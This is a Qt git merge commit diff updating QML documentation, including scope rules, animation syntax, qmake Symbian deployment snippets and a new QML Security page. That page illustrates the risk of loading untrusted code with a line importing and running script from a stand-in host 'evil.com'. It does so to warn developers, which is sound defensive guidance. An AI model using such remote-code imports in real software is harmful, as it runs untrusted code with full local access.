diff options
author | Alan Alpert <alan.alpert@nokia.com> | 2010-03-25 08:34:13 (GMT) |
---|---|---|
committer | Alan Alpert <alan.alpert@nokia.com> | 2010-03-25 08:34:13 (GMT) |
commit | 20073b78ca34deea244a999bbc221a63995869d8 (patch) | |
tree | 43f93f498ee7057ea3ab221a73b7f4d9762f56e9 /doc/src | |
parent | a701a744a1e292803823c43aad4d81a9cff25a32 (diff) | |
parent | 72599ca45c416f2f0a9654412c14a148ca3d728c (diff) | |
download | Qt-20073b78ca34deea244a999bbc221a63995869d8.zip Qt-20073b78ca34deea244a999bbc221a63995869d8.tar.gz Qt-20073b78ca34deea244a999bbc221a63995869d8.tar.bz2 |
Merge branch '4.7' of scm.dev.nokia.troll.no:qt/qt-qml into 4.7
Diffstat (limited to 'doc/src')
-rw-r--r-- | doc/src/declarative/animation.qdoc | 2 | ||||
-rw-r--r-- | doc/src/declarative/declarativeui.qdoc | 1 | ||||
-rw-r--r-- | doc/src/declarative/javascriptblocks.qdoc | 1 | ||||
-rw-r--r-- | doc/src/declarative/qdeclarativesecurity.qdoc | 90 | ||||
-rw-r--r-- | doc/src/declarative/scope.qdoc | 452 | ||||
-rw-r--r-- | doc/src/development/qmake-manual.qdoc | 18 | ||||
-rw-r--r-- | doc/src/snippets/code/doc_src_deployment.qdoc | 7 | ||||
-rw-r--r-- | doc/src/snippets/code/doc_src_qmake-manual.qdoc | 4 |
8 files changed, 320 insertions, 255 deletions
diff --git a/doc/src/declarative/animation.qdoc b/doc/src/declarative/animation.qdoc index 7e0a787..9969e8f 100644 --- a/doc/src/declarative/animation.qdoc +++ b/doc/src/declarative/animation.qdoc @@ -72,7 +72,7 @@ Rectangle { x: 60-img.width/2 y: 0 SequentialAnimation on y { - repeat: true + loops: Animation.Infinite NumberAnimation { to: 200-img.height; easing.type: "OutBounce"; duration: 2000 } PauseAnimation { duration: 1000 } NumberAnimation { to: 0; easing.type: "OutQuad"; duration: 1000 } diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index 69a8216..f310484 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -103,6 +103,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible \o \l {QML Global Object} \o \l {Extending QML in C++} \o \l {QML Internationalization} +\o \l {QML Security} \o \l {QtDeclarative Module} \o \l {Debugging QML} \endlist diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc index 0006967..e57439f 100644 --- a/doc/src/declarative/javascriptblocks.qdoc +++ b/doc/src/declarative/javascriptblocks.qdoc @@ -138,6 +138,7 @@ these libraries, the JavaScript programmer can indicate a particular file is a stateless library through the use of a pragma, as shown in the following example. \code +// factorial.js .pragma library function factorial(a) { diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc new file mode 100644 index 0000000..56216dd --- /dev/null +++ b/doc/src/declarative/qdeclarativesecurity.qdoc @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativesecurity.html +\title QML Security +\section1 QML Security + +The QML security model is that QML content is a chain of trusted content: the user +installs QML content that they trust in the same way as they install native Qt applications, +or programs written with runtimes such as Python and Perl. That trust is establish by any +of a number of mechanisms, including the availability of package signing on some platforms. + +In order to preserve the trust of users, developers producing QML content should not execute +arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. + +For example, this QML content: + +\qml +import "http://evil.com/evil.js" as Evil +... Evil.doEvil() ... +\endqml + +is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution +environment of QML does not try to stop any particular accesses, including local file system +access, just as for any native Qt application, so the "doEvil" function could do the same things +as a native Qt application, a Python application, a Perl script, ec. + +As with any application accessing other content beyond it's control, a QML application should +perform appropriate checks on untrusted data it loads. + +A non-exhaustive list of the ways you could shoot yourself in the foot is: + +\list + \i Using \c import to import QML or JavaScropt you do not control. BAD + \i Using \l Loader to import QML you do not control. BAD + \i Using XMLHttpRequest to load data you do not control and executing it. BAD +\endlist + +However, the above does not mean that you have no use for the network transparency of QML. +There are many good and useful things you \e can do: + +\list + \i Create \l Image elements with source URLs of any online images. GOOD + \i Use XmlListModel to present online content. GOOD + \i Use XMLHttpRequest to interact with online services. GOOD +\endlist + +The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, +has quite many restrictions. With QML, you should neither rely on similar restrictions, nor +worry about working around them. +*/ diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc index 8ec784f..c588b45 100644 --- a/doc/src/declarative/scope.qdoc +++ b/doc/src/declarative/scope.qdoc @@ -39,344 +39,304 @@ ** ****************************************************************************/ -/*! -\page qdeclarativescope.html -\title QML Scope +/* + + + +and requires extension to +fit naturally with QML. -\tableofcontents -NOTE: This documentation is out of data. +JavaScript has only b +JavaScript has a very simple built in scope is very simple -\l {Property Binding}s and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain +script, and the precede d + +and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain automatically established by QML when a component instance is constructed. QML is a \e {dynamically scoped} language. Different object instances instantiated from the same component can exist in different scope chains. \image qml-scope.png -\section1 JavaScript Variable object -Each binding and script block has its own distinct JavaScript variable object where local -variables are stored. That is, local variables from different bindings and script blocks never -conflict. +*/ -\section1 Element Type Names +/*! +\page qdeclarativescope.html +\title QML Scope -Bindings or script blocks use element type names when accessing \l {Attached Properties} or -enumeration values. The set of available element names is defined by the import list of the -\l {QML Documents}{QML Document} in which the the binding or script block is defined. +\tableofcontents -These two examples show how to access attached properties and enumeration values with different -types of import statements. -\table -\row -\o -\code -import Qt 4.6 +QML property bindings, inline functions and imported JavaScript files all +run in a JavaScript scope. Scope controls which variables an expression can +access, and which variable takes precedence when two or more names conflict. -Text { - id: root - scale: root.PathView.scale - horizontalAlignment: Text.AlignLeft -} -\endcode -\o -\code -import Qt 4.6 as MyQt +As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit +more naturally with the QML language extensions. -Text { - id: root - scale: root.MyQt.PathView.scale - horizontalAlignment: MyQt.Text.AlignLeft -} -\endcode -\endtable +\section1 JavaScript Scope -\section1 QML Local Scope +QML's scope extensions do not interfere with JavaScript's natural scoping. +JavaScript programmers can reuse their existing knowledge when programming +functions, property bindings or imported JavaScript files in QML. -Most variables references are resolved in the local scope. The local scope is controlled by the -QML component in which the binding or script block was defined. The following example shows -three different bindings, and the component that dictates each local scope. +In the following example, the \c {addConstant()} method will add 13 to the +parameter passed just as the programmer would expect irrespective of the +value of the QML object's \c a and \c b properties. -\table -\row -\o \code -// main.qml -import Qt 4.6 +QtObject { + property int a: 3 + property int b: 9 -Rectangle { // Local scope component for binding 1 - id: root - property string text - - Button { - text: root.text // binding 1 + function addConstant(b) { + var a = 13; + return b + a; } - - ListView { - delegate: Component { // Local scope component for binding 2 - Rectangle { - width: ListView.view.width // binding 2 - } - } - } - } \endcode -\o -\code -// Button.qml -import Qt 4.6 -Rectangle { // Local scope component for binding 3 - id: root - property string text +That QML respects JavaScript's normal scoping rules even applies in bindings. +This totally evil, abomination of a binding will assign 12 to the QML object's +\c a property. - Text { - text: root.text // binding 3 - } +\code +QtObject { + property int a + + a: { var a = 12; a; } } \endcode -\endtable -Inside the local scope, four "sub-scopes" exist. Each sub-scope is searched in order when -resolving a name; names in higher sub-scopes shadow those in lower sub-scopes. +Every JavaScript expression, function or file in QML has its own unique +variable object. Local variables declared in one will never conflict +with local variables declared in another. -\section2 IDs +\section1 Element Names and Imported JavaScript Files -IDs present in the component take precendence over other names. The QML engine enforces -uniqueness of IDs within a component, so their names cannot conflict with one another. +\l {QML Document}s include import statements that define the element names +and JavaScript files visible to the document. In addition to their use in the +QML declaration itself, element names are used by JavaScript code when accessing +\l {Attached Properties} and enumeration values. -Here is an example of using IDs within bindings: +The effect of an import applies to every property binding, and JavaScript +function in the QML document, even those in nested inline components. The +following example shows a simple QML file that accesses some enumeration +values and calls an imported JavaScript function. \code -Item { - id: root - width: nested.width - Item { - id: nested - height: root.height - } -} -\endcode - -\section2 Script Methods - -Methods declared in script blocks are searched immediately after IDs. In the case of multiple -script blocks in the one component, the blocks are searched in the order in which they were -declared - the nesting of script blocks within a component is not significant for name -resolution. - -In the following example, \c {Method 1} shadows \c {Method 2} for the bindings, but not for -\c {Method 3}. +import Qt 4.6 +import "code.js" as Code -\code -Item { - Script { - function getValue() { return 10; } // Method 1 - } +ListView { + snapMode: ListView.SnapToItem - Rectangle { - Script { - function getValue() { return 11; } // Method 2 - function getValue2() { return getValue(); } // Method 3 + delegate: Component { + Text { + elide: Text.ElideMiddle + text: "A really, really long string that will require eliding." + color: Code.defaultColor() } - - x: getValue() // Resolves to Method 1, set to 10 - y: getValue2() // Resolves to Method 3, set to 11 } } \endcode -\section2 Scope Object - -A scope object is associated with each binding and script block. Properties and methods of the -scope object appear in the scope chain, immediately after \l {Script Methods}. +\section1 Binding Scope Object -In bindings and script blocks established explicitly in \l {QML Documents}, the scope object is -always the element containing the binding or script block. The following example shows two -bindings, one using grouped properties, and the corresponding scope object. These two bindings -use the scope object to resolve variable references: \c height is a property on \l Rectangle, -and \c parent is a property on \l Text. +Property bindings are the most common use of JavaScript in QML. Property +bindings associate the result of a JavaScript expression with a property of an +object. The object to which the bound property belongs is known as the binding's +scope object. In this QML simple declaration the \l Item object is the +binding's scope object. \code -Item { // Scope object for Script block 1 - Script { // Script block 1 - function calculateValue() { ... } - } - - Rectangle { // Scope object for Binding 1 and Script block 2 - Script { // Script block 2 - function calculateColor() { ... } - } - width: height * 2 // Binding 1 - } - - Text { // Scope object for Binding 2 - font.pixelSize: parent.height * 0.7 // binding 2 - } +Item { + anchors.left: parent.left } \endcode -One notable characteristic of the scope object is its interaction with \l {Attached Properties}. -As attached properties exist on all objects, an attached property reference that is not -explicitly prefixed by an id will \e always resolve to the attached property on the scope -object. - -In the following example, \c {Binding 1} will resolve to the attached properties of the -\l Rectangle element, as intended. However, due to the property search of the scope object, -\c {Binding 2} will resolve to the attached properties of the \l Text element, which -is probably not what was intended. This code can be corrected, by replacing \c {Binding 2} -with this explicit element reference \c {root.ListView.view.width}. +Bindings have access to the scope object's properties without qualification. +In the previous example, the binding accesses the \l Item's \c parent property +directly, without needing any form of object prefix. QML introduces a more +structured, object-oriented approach to JavaScript, and consequently does not +require (although it does support) use of the implicit \c this property. + +Care must be used when accessing \l {Attached Properties} from bindings due +to their interaction with the scope object. Conceptually attached properties +exist on \e all objects, even if they only have an effect on a subset of those. +Consequently unqualified attached property reads will always resolve to an +attached property on the scope object, which is not always what the programmer +intended. + +For example, the \l PathView element attaches interpolated value properties to +its delegates depending on their position in the path. As PathView only +meaningfully attaches these properties to the root element in the delegate, any +sub-element that accesses them must explicitly qualify the root object, as shown +below. \code -import Qt 4.6 - -ListView { - delegate: Rectangle { - id: root - width: ListView.view.width // Binding 1 - Text { - text: contactName - width: ListView.view.width // Binding 2 +PathView { + delegate: Component { + Rectangle { + id: root + Image { + scale: root.PathView.scale + } } } } \endcode -\e TODO - -\list -\o scope object for PropertyChanges -\endlist - -\section2 Root Object +If the \l Image element omitted the \c root prefix, it would inadvertantly access +the unset \c {PathView.scale} attached property on itself. -Properties and methods on the local scope component's root object appear in the scope chain -immediately after the \l {Scope Object}. If the scope object and root object are the same, -this step has no effect. +\section1 Component Scope -This example uses the root object to easily propagate data throughout the component. +Each QML component in a QML document defines a logical scope. Each document +has at least one root component, but can also have other inline sub-components. +The component scope is the union of the object ids within the component and the +component's root element's properties. \code Item { - property string description - property int fontSize + property string title Text { - text: description - font.pixelSize: fontSize + id: titleElement + text: "<b>" + title + "</b>" + font.pixelSize: 22 + anchors.top: parent.top + } + + Text { + text: titleElement.text + font.pixelSize: 18 + anchors.bottom: parent.bottom } } \endcode -\section1 QML Component chain - -When a QML component is instantiated it is given a parent component instance. The parent -component instance is immutable - it is not affected, for example, by changes in the instance's -visual parent (in the case of visual elements). Should name resolution fail within the -\l {QML Local Scope}, this parent chain is searched. +The example above shows a simple QML component that displays a rich text title +string at the top, and a smaller copy of the same text at the bottom. The first +\c Text element directly accesses the component's \c title property when +forming the text to display. That the root element's properties are directly +accessible makes it trivial to distribute data throughout the component. -For each component instance in the chain, the following are examined: +The second \c Text element uses an id to access the first's text directly. IDs +are specified explicitly by the QML programmer so they always take precedence +over other property names (except for those in the \l {JavaScript Scope}). For +example, in the unlikely event that the binding's \l {Binding Scope Object}{scope +object} had a \c titleElement property in the previous example, the \c titleElement +id would still take precedence. -\list 1 -\o IDs -\o Script Methods -\o Root Object -\endlist +\section1 Component Instance Hierarchy -This list is a sub-set of that in the \l {QML Local Scope}. +In QML, component instances connect their component scopes together to form a +scope hierarchy. Component instances can directly access the component scopes of +their ancestors. -A sub-component's parent component instance is set to the component that created it. -In the following example, the two \c Button instances have the -\c main.qml instance as their parent component instance. If the \c Button type was used from -within another QML file, it may have a difference parent component instance, and consequently -the \c buttonClicked() method may resolve differently. +The easiest way to demonstrate this is with inline sub-components whose component +scopes are implicitly scoped as children of the outer component. -\table -\row -\o \code -// main.qml Item { - function buttonClicked(var data) { - print(data + " clicked"); - } + property color defaultColor: "blue" - Button { text: "Button1" } - Button { text: "Button2" } -} -\endcode -\o -\code -// Button.qml -Rectangle { - id: root - property string text - width: 80 - height: 30 - Text { - anchors.centerIn: parent - text: root.text - } - MouseArea { - anchors.fill: parent - onClicked: buttonClicked(text) + ListView { + delegate: Component { + Rectangle { + color: defaultColor + } + } } } \endcode -\endtable -The code above discourages the re-use of the \c Button component, as it has a hard dependency -on the environment in which it is used. Tightly coupling two types together like this should -only be used when the components are within the same module, and the author controls the -implementations of both. +The component instance hierarchy allows instances of the delegate component +to access the \c defaultColor property of the \c Item element. Of course, +had the delegate component had a property called \c defaultColor that would +have taken precedence. -In the following example, the \l ListView sets the parent component instance of each of its -delegates to its own component instance. In this way, the main component can easily pass data -into the \l ListView delegates. +The component instance scope hierarchy extends to out-of-line components, too. +In the following example, the \c TitlePage.qml component creates two +\c TitleText instances. Even though the \c TitleText element is in a separate +file, it still has access to the \c title property when it is used from within +the \c TitlePage. QML is a dynamically scoped language - depending on where it +is used, the \c title property may resolve differently. \code +// TitlePage.qml +import Qt 4.6 Item { - property color delegateColor: "red" + property string title + + TitleText { + size: 22 + anchors.top: parent.top + } - ListView { - delegate: Component { - Rectangle { - color: delegateColor - } - } + TitleText { + size: 18 + anchors.bottom: parent.bottom } } -\endcode -\section1 QDeclarativeContext chain - -The \l QDeclarativeContext chain allows C++ applications to pass data into QML applications. -\l QDeclarativeComponent object instances created from C++ are passed a \l QDeclarativeContext in which they -are created. Variables defined in this context appear in the scope chain. Each QDeclarativeContext -also defines a parent context. Variables in child QDeclarativeContext's shadow those in its parent. +// TitleText.qml +import Qt 4.6 +Text { + property int size + text: "<b>" + title + "</b>" + font.pixelSize: size +} +\endcode -Consider the following QDeclarativeContext tree. +Dynamic scoping is very powerful, but it must be used cautiously to prevent +the behavior of QML code from becoming difficult to predict. In general it +should only be used in cases where the two components are already tightly +coupled in another way. When building reusable components, it is preferable +to use property interfaces, like this: -\image qml-context-tree.png +\code +// TitlePage.qml +import Qt 4.6 +Item { + id: root + property string title + + TitleText { + title: root.title + size: 22 + anchors.top: parent.top + } -The value of \c background in \c {Context 1} would be used if it was instantiated in -\c {Context 1}, where as the value of the \c background in the root context would be used if -the component instance was instantiated in \c {Context 2}. + TitleText { + title: root.title + size: 18 + anchors.bottom: parent.bottom + } +} -\code +// TitleText.qml import Qt 4.6 +Text { + property string title + property int size -Rectangle { - id: myRect - width: 100; height: 100 - color: background + text: "<b>" + title + "</b>" + font.pixelSize: size } \endcode -\section1 QML Global Object +\section1 JavaScript Global Object + +In addition to all the properties that a developer would normally expect on +the JavaScript global object, QML adds some custom extensions to make UI or +QML specific tasks a little easier. These extensions are described in the +\l {QML Global Object} documentation. + +QML disallows element, id and property names that conflict with the properties +on the global object to prevent any confusion. Programmers can be confident +that \c Math.min(10, 9) will always work as expected! -The \l {QML Global Object} contains all the properties of the JavaScript global object, plus some -QML specific extensions. */ diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc index 8cb8705..688122b 100644 --- a/doc/src/development/qmake-manual.qdoc +++ b/doc/src/development/qmake-manual.qdoc @@ -1425,12 +1425,20 @@ is the application private directory on the drive it is installed to. attention that also other statements stay valid. For example if you override languages statement, you must override also package-header statement and all other statements which are language specific. + + On the Symbian platform, the \c default_deployment item specifies + default platform and package dependencies. Those dependencies can be + selectively disabled if alternative dependencies need to be defined + - e.g. if a specific device is required to run the application or + more languages need to be supported by the package file. The supported + \c default_deployment rules that can be disabled are: - On the Symbian platform, the \c default_deployment item specifies - default platform dependencies. It can be overwritten if a more - restrictive set is needed - e.g. if a specific - device is required to run the application. - + \list + \o pkg_depends_qt + \o pkg_depends_webkit + \o pkg_platform_dependencies + \endlist + For example: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 141 diff --git a/doc/src/snippets/code/doc_src_deployment.qdoc b/doc/src/snippets/code/doc_src_deployment.qdoc index 3b0cda1..48e9ac6 100644 --- a/doc/src/snippets/code/doc_src_deployment.qdoc +++ b/doc/src/snippets/code/doc_src_deployment.qdoc @@ -463,7 +463,8 @@ vendorinfo = \ "%{\"Example Localized Vendor\"}" \ ":\"Example Vendor\"" -default_deployment.pkg_prerules = vendorinfo +my_deployment.pkg_prerules = vendorinfo +DEPLOYMENT += my_deployment //! [56] //! [57] @@ -471,7 +472,9 @@ supported_platforms = \ "; This demo only supports S60 5.0" \ "[0x1028315F],0,0,0,{\"S60ProductID\"}" -default_deployment.pkg_prerules += supported_platforms +default_deployment.pkg_prerules -= pkg_platform_dependencies +my_deployment.pkg_prerules += supported_platforms +DEPLOYMENT += my_deployment //! [57] //! [58] diff --git a/doc/src/snippets/code/doc_src_qmake-manual.qdoc b/doc/src/snippets/code/doc_src_qmake-manual.qdoc index 36676ae..d9e5d3c 100644 --- a/doc/src/snippets/code/doc_src_qmake-manual.qdoc +++ b/doc/src/snippets/code/doc_src_qmake-manual.qdoc @@ -933,7 +933,9 @@ DEPLOYMENT += somelib justdep //! [140] //! [141] -default_deployment.pkg_prerules = "[0x11223344],0,0,0,{\"SomeSpecificDeviceID\"}" +default_deployment.pkg_prerules -= pkg_platform_dependencies +my_deployment.pkg_prerules = "[0x11223344],0,0,0,{\"SomeSpecificDeviceID\"}" +DEPLOYMENT += my_deployment //! [141] //! [142] |